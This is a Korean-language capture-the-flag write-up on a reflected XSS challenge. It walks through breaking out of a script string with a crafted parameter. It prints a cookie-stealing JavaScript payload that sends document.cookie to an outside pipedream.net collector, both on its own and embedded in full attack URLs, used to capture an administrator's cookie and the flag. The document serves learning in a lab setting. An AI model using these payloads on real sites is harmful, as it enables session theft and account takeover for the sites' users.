Reflected XSS란
서버에서 반사되는 특징이 있다.
서버로 어떤 파라미터를 보내면 서버에서 파라미터가 담겨서 응답이 온다.
공격자가 이점을 이용하려면 파라미터에 링크를 담아서 보내야 하고 get 방식으로 보내야 한다.
post 방식으로만 응답을 한다면 Reflected XSS 공격이 전혀 통하지 않는다.
Segfault 문제 XSS2
아무것도 없다.
글을 써보았다.
글도 조회해 봤다.
글이 있지만 검색 결과가 존재하지 않는다고 나온다.
Burp Suite에서 확인해 보았다.
스크립트 안에 담겨서 test가 반사된다. 뭔가 할 수 있을 거 같다.
리피터로 보내 post 방식을 get으로 바꿔서 보내봐야겠다. 결과는 똑같다 Reflected XSS가 통하는 거 같다.
alert를 띄워봐야겠다. alert 안에 반사되는 거를 이용해서 뒷부분 주석 처리하고
‘); 이런 기호가 들어가는 것을 눈으로 보았기 때문에 test’);// 이렇게 넣어서 띄워봤다.
alert 띄우는 것을 성공했고 그다음으로 스크립트를 넣어서 관리자가 스크립트 링크를 클릭하게 만들어야겠다.
위의 방식을 어떻게 이용할지 고민해 보았다. stored XSS에서 이용한 것처럼 밑의 코드를 이용해야겠다.
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://enp82n1arrlb.x.pipedream.net/?cookie=" + cookieData;
</script>
get 방식 post 방식 응답이 똑같다. 서버에서 둘 다 허용하는 거 같아 get으로 보내보았다.
get 방식으로 보냈는데 공격자 서버에서 응답이 없어 url에 링크 형식으로 보내야 공격자 서버에 쿠키 값이 온다.
test도 주석 처리되고 URL도 주석 처리 당했다. 링크로 보내면 되던데 Reflected XSS 특징이라서 그런 거 같다.
http://ctf.segfaulthub.com:4343
/xss_2/notice_list.php?
option_val=username&board_result=test%27);
var+cookieData+=+document.cookie;
var+i+=+new+Image();
i.src+=+%22https://enxzjclfzat9.x.pipedream.net/?cookie=%22+%2B+cookieData;
//&board_search=%F0%9F%94%8D&date_from=&date_to=
주소창에 이렇게 인코딩해서 보내보았다. 밑은 디코딩 버전 디코딩으로 보내면 서버에서 인식을 못 하는 거 같다.
http://ctf.segfaulthub.com:4343
/xss_2/notice_list.php?option_val=username&board_result=test');
var cookieData = document.cookie;
var i = new Image();
i.src = "https://enxzjclfzat9.x.pipedream.net/?cookie=" + cookieData;
//&board_search=&date_from=&date_to=
alert(‘test’);는 지우는 법을 몰라서 그냥 그 밑에 스크립트가 있어도 상관없기 때문에 내버려두고 진행했다.
<script></script>는 응답 서버에 있기 때문에 안 썼고 공격자의 링크를 클릭하면 공격자의 서버를 이미지 소스라고 해두었기에 공격자의 서버에 쿠키 값을 보내준다.
인코딩해서 보내면
alert가 나온 후
내가 접속을 했기 때문에 내 쿠키가 나와야 하는데 빈 쿠키 값이 나온다. 빈 쿠키가 나오는 이유는 모르겠다. 여기에 관리자가 접속하면 쿠키 값이 나오게 해야겠다.
관리자가 접속했다 공격자 서버에서 확인해 보면
플래그를 확인할 수 있다.